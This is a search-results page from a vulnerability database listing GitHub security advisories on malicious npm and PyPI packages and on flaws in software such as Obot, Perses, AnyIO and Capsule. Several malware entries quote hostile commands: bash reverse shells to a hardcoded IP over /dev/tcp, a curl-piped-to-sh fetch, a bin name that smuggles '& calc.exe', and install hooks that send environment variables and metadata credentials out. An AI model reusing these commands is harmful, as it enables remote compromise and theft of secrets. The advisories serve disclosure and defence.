Lucene search
+L
GithubRecent

163867 matches found

Github Security Blog
Github Security Blog
•added 2026/09/21 3:30 a.m.•9 views

Malicious code in test1sdsd2 (npm)

Source: amazon-inspector 3c7bd7c5932337e17adaf4900cb7e29766fe6b5307bd170b38660dd05497ebdc Package [email protected] declares preinstall and postinstall hooks in package.json that execute index.js on npm install. index.js performs an HTTP GET to the hardcoded bare IP...

6.3AI score
SaveExploits0References3Affected Software1
Github Security Blog
Github Security Blog
•added 2026/09/21 3:30 a.m.•11 views

Malicious code in npx-test-ma980 (npm)

Source: amazon-inspector adfd1e5f7cc282648da56cdf50ac9c3cb27d6165fa4a3f8f3625b4a0c2694be6 package.json declares a bin entry whose key contains shell metacharacters and a chained command: "tool & calc.exe": "./run.js". On Windows, npm's bin shim/symlink generation and later invocation via npm...

6.5AI score
SaveExploits0References3Affected Software1
Github Security Blog
Github Security Blog
•added 2026/09/21 3:30 a.m.•9 views

Malicious code in @nimbsuedge3/xar (npm)

Source: amazon-inspector 85a83fa3df94cc0a526feb9df2e8a877f89713501a083059a4b8ae5a9bf2fcaf package.json declares a preinstall lifecycle script that runs bash -i & /dev/tcp/147.93.157.202.nip.io/8080 to open an interactive reverse shell to a bare-IP host wrapped via nip.io, and pipes shell output...

6AI score
SaveExploits0References3Affected Software1
Github Security Blog
Github Security Blog
•added 2026/09/21 3:30 a.m.•8 views

Malicious code in @nimbusedge2/x (npm)

Source: amazon-inspector 45d678f278cdb8171d7ac41ffa9f50b57ccb508dfa5a64bec6430efa17b2662e package.json declares a preinstall lifecycle script that runs automatically on npm install. The script invokes bash -i & /dev/tcp/147.93.157.202.nip.io/8080 to open an interactive reverse shell to a hardcode...

6.2AI score
SaveExploits0References3Affected Software1
Github Security Blog
Github Security Blog
•added 2026/09/21 3:30 a.m.•9 views

Malicious code in @nimbusedge2/authxsas (npm)

Source: amazon-inspector 0146259024cc8ef3a174ff98571fe4af975b3eecf9184a0a5339d42808243d10 The package's package.json declares a preinstall script that fires unconditionally on npm install. The script uses curl to query the cloud instance metadata service via the nip.io wildcard-DNS resolver...

5.9AI score
SaveExploits0References3Affected Software1
Github Security Blog
Github Security Blog
•added 2026/09/21 3:30 a.m.•8 views

Malicious code in @nimbusedge2/xa (npm)

Source: amazon-inspector 537505221bc3cd73b0d5a60062d6ad127211b2d1be1f1cdfdac13053e2224a11 package.json declares a preinstall lifecycle script that runs an interactive bash reverse shell to the hardcoded host 147.93.157.202.nip.io on TCP port 8080 and pipes the shell's output through curl to...

6.2AI score
SaveExploits0References3Affected Software1
Github Security Blog
Github Security Blog
•added 2026/09/21 3:30 a.m.•9 views

Malicious code in @nimbusedge2/authxsas1 (npm)

Source: amazon-inspector 0b27280b8f4c1e044e49b77e58c7c8de895a002f51be51756bc40e909d3f6fa1 package.json declares a preinstall lifecycle script that runs automatically on npm install. The script uses curl to fetch the cloud instance metadata service 169.254.169.254, accessed via the nip.io...

5.9AI score
SaveExploits0References3Affected Software1
Github Security Blog
Github Security Blog
•added 2026/09/21 3:30 a.m.•10 views

Malicious code in @baanx/solana-lib (npm)

Source: amazon-inspector 6462ecac2764fc9cf78d47ee57fec1fd3d6a0cf573ee02eaddcc2e5b5f3f0d7e The package declares scripts.install = node index.js, so npm install @baanx/solana-lib automatically executes index.js, which loads lib/core.js. That module reads the installer's username os.userInfo.usernam...

5.9AI score
SaveExploits0References3Affected Software1
Github Security Blog
Github Security Blog
•added 2026/09/21 3:30 a.m.•10 views

Malicious code in @nimbusedge2/auth (npm)

Source: amazon-inspector 00e0720671ede37963c7328b0434ac8e2fe6c52dd252678f81da390e9554c0ba @nimbusedge2/auth 1.1.1 ships a 333-byte package whose package.json preinstall lifecycle hook runs bash -i with stdio redirected to /dev/tcp/147.93.157.202/8080, opening an interactive reverse shell to that...

6.3AI score
SaveExploits0References3Affected Software1
Github Security Blog
Github Security Blog
•added 2026/09/20 12:30 p.m.•8 views

Malicious code in @pwaplatform/module-sso-integration (npm)

Source: ossf-package-analysis 774cfab0bd1150e7f7e40819176562e4e19983d87b347f5a55a0b60dfbbca7d3 The OpenSSF Package Analysis project identified '@pwaplatform/module-sso-integration' @ 99.0.0 npm as malicious. It is considered malicious because: - The package communicates with a domain associated...

5.9AI score
SaveExploits0References5Affected Software1
Github Security Blog
Github Security Blog
•added 2026/09/19 12:32 p.m.•89 views

Duplicate Advisory: hono/jsx renders plain strings unescaped in boundary components, leading to XSS

Duplicate Advisory This advisory has been withdrawn because it is a duplicate of GHSA-hxh3-vqpv-xpqv. This link is maintained to preserve external references. Original Description hono before 4.13.7 fails to HTML-escape plain strings rendered by hono/jsx as a child or fallback of Suspense, as a...

4.7CVSS6.3AI score0.00227EPSS
SaveExploits0References4Affected Software1
Github Security Blog
Github Security Blog
•added 2026/09/19 6:32 a.m.•8 views

Malicious code in urc (PyPI)

Source: kam193 abbaafd909f0cd09835c29c401432a9aa6094c2007973ba23e70f3fe06b07785 Installing the package or importing the module exfiltrates basic information about the host, and the package has no other purpose. --- Category: PROBABLYPENTEST - Packages looking like typical pentest packages, but al...

6.2AI score
SaveExploits0References3Affected Software1
Github Security Blog
Github Security Blog
•added 2026/09/19 3:32 a.m.•8 views

Malicious code in keroeltop (npm)

Source: ossf-package-analysis 89aae084914d96e7e7620a79371083c4e1bb4a838fac1633aff257c5a380eab8 The OpenSSF Package Analysis project identified 'keroeltop' @ 99.99.99 npm as malicious. It is considered malicious because: - The package communicates with a domain associated with malicious activity...

5.9AI score
SaveExploits0References4Affected Software1
Github Security Blog
Github Security Blog
•added 2026/09/19 12:32 a.m.•9 views

Malicious code in py-venv-doctor (PyPI)

Source: kam193 f98f9dd8cd5b70474786eb054bccf9de05d98face434e0a814123e51c090f364 During installation and after generating a healthcheck report, package sends opt-out telemetry. This telemetry data is used to exfiltrate the full environment variable set, including any sensitive variables. There is ...

6.2AI score
SaveExploits0References5Affected Software1
Github Security Blog
Github Security Blog
•added 2026/09/18 9:54 p.m.•8 views

Malware in internallib_v949

Any computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer. The package should be removed, but as full control of the computer may have been given to an outsid...

5.8AI score
SaveExploits0References1Affected Software1
Github Security Blog
Github Security Blog
•added 2026/09/18 9:31 p.m.•7 views

Malicious code in x509-escaping (npm)

Source: amazon-inspector a0ac597bf732e187011fdef75554843eec3e581b18fdf2c0e83b4dd4aa559731 package.json declares preinstall: node index.js, so on npm install the shipped index.js runs automatically. It collects hostname, username, home directory, DNS servers, and current working directory, and rea...

5.9AI score
SaveExploits0References3Affected Software1
Github Security Blog
Github Security Blog
•added 2026/09/18 9:31 p.m.•10 views

Malicious code in chai-as-indexed (npm)

Source: amazon-inspector 424ebdaa04d4f7e8ce306f536421ac65d79467e73b05877caac6b72071bdaef9 The package's main entry index.js loads./lib/initializeCaller, which on require POSTs the full process.env of the installer's Node process to a base64-concealed endpoint at...

6.5AI score
SaveExploits0References5Affected Software1
Github Security Blog
Github Security Blog
•added 2026/09/18 9:31 p.m.•9 views

Malicious code in @shared-web/utils (npm)

Source: amazon-inspector 5425b12d827e5327939280ed16ddd0a613b28d0d728a0a8b193f342a666c65e9 package.json declares scripts.install: node index.js, which loads lib/core.js. On npm install, that module reads os.userInfo.username, os.hostname, and the current working directory basename, concatenates th...

5.9AI score
SaveExploits0References3Affected Software1
Github Security Blog
Github Security Blog
•added 2026/09/18 9:31 p.m.•7 views

Malicious code in internallib_v949 (npm)

Source: amazon-inspector 16b7999911edfe600ebe4f34972eb325b48d6b96e1ac4212f0881b683a04abd9 index.js line 5 invokes childprocess.exec to run '/bin/bash -c "curl https://reverse-shell.sh/... | sh"', fetching and piping a remote shell script into sh to open a reverse shell to the hardcoded attacker...

6AI score
SaveExploits0References3Affected Software1
Github Security Blog
Github Security Blog
•added 2026/09/18 9:31 p.m.•9 views

Malicious code in tailwindcss-forms-ui (npm)

Source: amazon-inspector 6f2bdfef8937b1e6ef4979181693e00adbdfbe7521b8b240268f76beff8b3be8 The package name typosquats @tailwindcss/forms but its main entry src/index.js is a 39 KB obfuscator.io bundle 303-entry rotating string array, hex-named identifiers, control-flow flattening with no...

6.4AI score
SaveExploits0References3Affected Software1
Github Security Blog
Github Security Blog
•added 2026/09/18 9:31 p.m.•8 views

Malicious code in @shared-runtime/modules (npm)

Source: amazon-inspector bc6095cf4766c948193c22d8c0e775010fc3ab47733a1020fb8fd5367d88e5e9 @shared-runtime/[email protected] collects the installer's OS username os.userInfo.username, hostname os.hostname and current working-directory basename, then issues a dns.resolve4 query against a subdomain...

5.9AI score
SaveExploits0References3Affected Software1
Github Security Blog
Github Security Blog
•added 2026/09/18 9:31 p.m.•8 views

Malicious code in @insiderintelligence/googleadmanager (npm)

Source: amazon-inspector a659995af42be0d4f8360b45a37295eab4d68f513c6b3aa49903b3028e0567f5 The package's install lifecycle script runs node index.js, which loads lib/core.js. On install, that module collects os.userInfo.username, os.hostname, and the basename of the current working directory, then...

5.9AI score
SaveExploits0References3Affected Software1
Github Security Blog
Github Security Blog
•added 2026/09/18 6:31 p.m.•66 views

Withdrawn Advisory: http-cache-semantics max-stale handling can disclose cross-user cached responses

Withdrawn Advisory This advisory has been withdrawn because it's not a valid vulnerability. This link is maintained to preserve external references. Original Description http-cache-semantics through 4.2.0 fails to properly validate security-zeroed cache entries when processing client max-stale...

8.7CVSS7.2AI score0.00596EPSS
SaveExploits0References8Affected Software1
Github Security Blog
Github Security Blog
•added 2026/09/18 6:31 p.m.•35 views

deepmerge mergeObject() allows prototype poisoning of returned objects

deepmerge through 4.3.1 contains a prototype poisoning vulnerability in the mergeObject function that fails to properly validate keys being written to target objects. Attackers can supply malicious source objects in merge operations to inject attacker-controlled properties into the returned...

8.7CVSS6AI score0.00514EPSS
SaveExploits0References5Affected Software1
Github Security Blog
Github Security Blog
•added 2026/09/18 6:31 p.m.•128 views

source-map-js allows event-loop denial of service through indexed source-map section offsets

source-map-js through 1.2.1 fails to validate the per-section offset line value in indexed source maps, allowing attackers to specify arbitrary numeric values. Attackers can supply extremely large offset line values that cause synchronous event loop blocking for extended periods, preventing the...

8.7CVSS6.3AI score0.00455EPSS
SaveExploits0References9Affected Software1
Github Security Blog
Github Security Blog
•added 2026/09/18 6:31 p.m.•294 views

Withdrawn Advisory: braces vulnerable to stack-exhaustion denial of service through deeply nested patterns

Withdrawn Advisory This advisory has been withdrawn because it's not a practically exploitable vulnerability. This link is maintained to preserve external references. Original Description braces through 3.0.3 contains a stack overflow vulnerability in the recursive AST walkers that lack depth...

8.7CVSS6AI score0.00775EPSS
SaveExploits0References9Affected Software1
Github Security Blog
Github Security Blog
•added 2026/09/18 5:59 p.m.•19 views

Obot: Server-Side Request Forgery via remote MCP server URL

Summary In affected versions, the URL of a remote MCP server is attacker-controlled at registration and is fetched server-side with no validation of the destination. There is no guard against loopback, link-local, RFC1918 private ranges, or the cloud metadata endpoint 169.254.169.254, so a use wi...

6AI score
SaveExploits0References3Affected Software1
Github Security Blog
Github Security Blog
•added 2026/09/18 5:59 p.m.•18 views

Obot: MCP Registry API readable without authentication

Summary In affected versions, enabling registry authentication OBOTSERVERENABLEREGISTRYAUTH=true does not actually protect the MCP Registry endpoints under /v0.1/ — they remain readable by unauthenticated callers. Am I affected? You are affected if you run Obot = v0.22.1 with...

5.9AI score
SaveExploits0References3Affected Software1
Github Security Blog
Github Security Blog
•added 2026/09/18 5:59 p.m.•29 views

Obot: OAuth Dynamic Client Registration Enables API Token Theft via Audience Confusion

Summary In affected versions, an unauthenticated attacker could register an OAuth client with an arbitrary external redirect URI, and the authorization flow would auto-complete without a consent screen. If a logged-in victim visited a crafted authorization URL, an authorization code was delivered...

6AI score
SaveExploits0References3Affected Software1
Github Security Blog
Github Security Blog
•added 2026/09/18 5:58 p.m.•27 views

Paymenter has a credit-refund double-spend race condition in service downgrade (doUpgrade)

Summary The service downgrade implementation in app/Livewire/Services/Upgrade.php::doUpgrade executes a proration calculation and a subsequent user credit refund without any transactional safety or database locks. The only concurrency check relies on an unisolated database query checking for...

6.5CVSS6AI score0.00325EPSS
SaveExploits0References4Affected Software1
Github Security Blog
Github Security Blog
•added 2026/09/18 5:58 p.m.•19 views

io.moquette:moquette-broker has a Missing Authorization issue

Summary Moquette MQTT Broker fails to enforce ACL write permission checks when publishing Will Last Will and Testament messages on behalf of disconnected clients. All normal PUBLISH paths receivedPublishQos0, receivedPublishQos1, receivedPublishQos2 correctly invoke authorizator.canWrite before...

7.5CVSS6AI score0.00575EPSS
SaveExploits0References5Affected Software1
Github Security Blog
Github Security Blog
•added 2026/09/18 5:54 p.m.•42 views

Mnemosyne has JWT signature verification bypass sync server that allows authentication bypass

Summary The Mnemosyne sync server's authentication check decoded JWT bearer tokens but never verified their HMAC-SHA256 signatures. Any well-formed token was accepted, allowing an unauthenticated attacker to impersonate any user and read or modify their sync data. Severity: Critical CVSS 3.1:...

9.1CVSS5.6AI score0.00325EPSS
SaveExploits0References5Affected Software1
Github Security Blog
Github Security Blog
•added 2026/09/18 5:40 p.m.•25 views

Perses's unvalidated project parameter enables filesystem path traversal

Impact When Perses is using the file system database, on the list endpoints, the project value is bound from the request into the resource Query struct and is never validated against directory-traversal characters validation/Flatten only runs for Create/Update bodies, not list queries. The path i...

7.1CVSS6AI score0.00561EPSS
SaveExploits0References4Affected Software1
Github Security Blog
Github Security Blog
•added 2026/09/18 5:39 p.m.•41 views

Perses's missing authorization in datasource proxy allows cross-scope secret disclosure

Impact The datasource proxy authorizes the caller on the Datasource scope, then resolves and decrypts any Secret named in the request body with no Secret-scope check. Datasource and Secret are distinct, independently grantable role scopes, so an operator can grant datasource access without secret...

8.3CVSS5.8AI score0.00267EPSS
SaveExploits0References4Affected Software1
Github Security Blog
Github Security Blog
•added 2026/09/18 5:39 p.m.•26 views

Perses's project query parameter authorization bypass exposes cross-project resources

Impact What kind of vulnerability is it? An authenticated user who is only a viewer on project team-a requests GET /api/v1/projects/team-a/dashboards?project=finance-secret or simply GET /api/v1/datasources?project=finance-secret and receives the full list of the finance-secret project's dashboar...

7.1CVSS5.8AI score0.00414EPSS
SaveExploits0References4Affected Software1
Github Security Blog
Github Security Blog
•added 2026/09/18 5:19 p.m.•25 views

File Viewer: DOM XSS via unsafe hyperlink schemes in the legacy DOC renderer

Summary Before 2.3.1, the legacy .doc renderer emitted document hyperlink targets after HTML escaping but without a URL-scheme allowlist. A crafted .doc could therefore render a live javascript:, vbscript:, data:, or similarly unsafe link. Script could execute in the embedding origin if a viewer...

8.2CVSS6AI score0.00397EPSS
SaveExploits0References4Affected Software2
Github Security Blog
Github Security Blog
•added 2026/09/18 5:18 p.m.•56 views

adm-zip: Uncontrolled memory allocation via the declared uncompressed size (DoS)

Summary adm-zip allocates an entry's output buffer from the declared uncompressed size central-directory size field before validating it against the actual data. A tiny crafted ZIP that declares a huge uncompressed size forces a multi-gigabyte allocation from a few bytes. Impact On adm-zip 0.5.17...

7.5CVSS6.8AI score0.00609EPSS
SaveExploits0References4Affected Software1
Github Security Blog
Github Security Blog
•added 2026/09/18 5:17 p.m.•36 views

Process Compose: Browser DNS rebinding lets websites control local process-compose MCP tools

Summary A malicious website can use DNS rebinding to control a developer's local process-compose MCP SSE listener when MCP SSE is enabled. The vulnerable path accepts browser-origin requests before any Host validation, Origin validation, or caller-secret check, then dispatches the requests into...

5.1CVSS5.7AI score0.00256EPSS
SaveExploits0References4Affected Software1
Github Security Blog
Github Security Blog
•added 2026/09/18 5:17 p.m.•23 views

Convoy: Cross-Tenant Source IDOR Leaks Plaintext Message Broker Credentials

Summary frain-dev/convoy all versions up to and including v26.6.2, no patch available lets any authenticated caller who is authorized on at least one project read ANY OTHER project's "Source" record by ID via GET /api/v1/projects/projectID/sources/sourceID -- regardless of whether that Source...

7.1CVSS5.6AI score0.00465EPSS
SaveExploits0References5Affected Software1
Github Security Blog
Github Security Blog
•added 2026/09/18 5:17 p.m.•23 views

md-editor-v3: XSS via fenced-code language rendering bypass

Summary MdPreview interpolates a fenced-code language into HTML attributes without escaping it. A crafted info string therefore executes JavaScript even when the shipped XSSPlugin is enabled. Details useMarkdownIt packages/MdEditor/layouts/Content/composition/useMarkdownIt.ts:206 registers a...

6.1CVSS6AI score0.00327EPSS
SaveExploits0References4Affected Software1
Github Security Blog
Github Security Blog
•added 2026/09/18 5:17 p.m.•26 views

AnyCable: Telemetry Subsystem Contains Hardcoded Authentication Token and Transmits CLI Arguments Including Secrets

Summary The telemetry subsystem embeds a hardcoded auth token "secret" in the public source and transmits raw CLI arguments—including --secret, --jwtsecret, and --httprpcsecret values—to a third-party telemetry endpoint. Details In telemetry/config.go line 12, var authToken = "secret" is committe...

5.9CVSS5.9AI score0.003EPSS
SaveExploits0References4Affected Software1
Github Security Blog
Github Security Blog
•added 2026/09/18 5:17 p.m.•29 views

AnyIO run_process/open_process ignores extra_groups and can retain parent supplementary groups

AnyIO 4.14.0 accepts the POSIX extragroups argument on anyio.runprocess and anyio.openprocess, but openprocess forwards the wrong variable to the backend: when extragroups is not None, it assigns kwargs"extragroups" = group instead of extragroups. As a result, callers cannot reliably clear or set...

7CVSS5.9AI score0.00108EPSS
SaveExploits0References5Affected Software1
Github Security Blog
Github Security Blog
•added 2026/09/18 5:17 p.m.•81 views

AnyIO: TLSStream IDNA 2003 host name encoding enables potential TLS certificate spoofing

Impact Services using internationalized non-ASCII domain names are potentially vulnerable to TLS connections made from AnyIO's connecttcp or directly via TLSStream.wrap where the connection has through other means been hijacked and redirected to a malicious server. The attacker would obtain a...

9.3CVSS6.7AI score0.00289EPSS
SaveExploits0References5Affected Software1
Github Security Blog
Github Security Blog
•added 2026/09/18 5:17 p.m.•47 views

AnyIO process-pool workers can block indefinitely on undrained stderr

Impact AnyIO starts process-pool workers with stderr connected to a pipe but never drains that pipe. The worker redirects stdin and stdout to /dev/null to protect its protocol, but does not redirect stderr even though the documentation says all three standard streams are redirected. Worker code...

6.8CVSS7.3AI score0.00157EPSS
SaveExploits0References5Affected Software1
Github Security Blog
Github Security Blog
•added 2026/09/18 5:16 p.m.•29 views

AnyCable: Pusher REST API Does Not Verify Request Body MD5 Enabling Signed-Request Replay with Arbitrary Body

Summary The Pusher-compatible REST API includes bodymd5 in the HMAC signature string but never computes or verifies the MD5 of the received HTTP body, allowing anyone who observes a signed request to replay it with an entirely different body. Details In pusher/http.go, the Handler function extrac...

5.9CVSS6.1AI score0.00209EPSS
SaveExploits0References4Affected Software1
Github Security Blog
Github Security Blog
•added 2026/09/18 5:16 p.m.•23 views

ToolHive: containerized MCP servers can reach host services via host.docker.internal, enabling lateral movement

Summary A containerized MCP server running with the default network permission profile insecureallowall: true can reach host-local services via host.docker.internal. This includes the ToolHive API itself, other ToolHive-managed MCP server proxies, and any other service listening on the host's...

8.8CVSS5.8AI score0.00372EPSS
SaveExploits0References8Affected Software1
Github Security Blog
Github Security Blog
•added 2026/09/18 5:15 p.m.•25 views

kcp front-proxy does not strip inbound X-Remote-* identity headers, allowing any authenticated client to inject groups/warrants and impersonate system:masters in any workspace

Summary The kcp front-proxy fails to strip client-supplied identity headers before forwarding requests to shards. Any authenticated tenant can inject their own X-Remote-Group and X-Remote-Extra- headers, which the shard trusts as a verified identity assertion — allowing a low-privilege user to...

9.9CVSS6.4AI score0.00384EPSS
SaveExploits0References5Affected Software1
Github Security Blog
Github Security Blog
•added 2026/09/18 5:15 p.m.•26 views

zot: Bearer authentication maps DELETE to push scope, allowing unauthorized deletion

Summary A bearer token with only pull and push scopes can successfully delete manifests and blobs from a zot registry. The bearer authentication handler maps all non-GET/HEAD HTTP methods, including DELETE, to the "push" action, and the DistSpecAuthzHandler middleware is bypassed entirely for...

8.1CVSS6AI score0.00811EPSS
SaveExploits0References5Affected Software1
Github Security Blog
Github Security Blog
•added 2026/09/18 5:14 p.m.•24 views

Capsule: hostnameRegexHandler.OnUpdate validates stale (old) Tenant regex, allowing invalid AllowedHostnames regex to bypass webhook validation

Summary A parameter order bug in internal/webhook/tenant/validation/hostnameregex.go causes the hostnameRegexHandler.OnUpdate webhook to validate the old Tenant object's AllowedHostnames.Regex instead of the new one being submitted. This allows an invalid malformed regex to bypass admission...

6.8CVSS6AI score0.00587EPSS
SaveExploits0References5Affected Software1
Github Security Blog
Github Security Blog
•added 2026/09/18 5:14 p.m.•27 views

Capsule: Tenant owner bypasses Capsule's forbidden namespace/service/node label and annotation enforcement

Summary Capsule lets a cluster administrator forbid specific metadata keys that tenant owners must not place on their own resources: Tenant.spec.namespaceOptions.forbiddenLabels / forbiddenAnnotations namespaces, Tenant.spec.serviceOptions.forbiddenLabels / forbiddenAnnotations Services, and the...

7.1CVSS6AI score0.00334EPSS
SaveExploits0References5Affected Software1
Total number of security vulnerabilities163867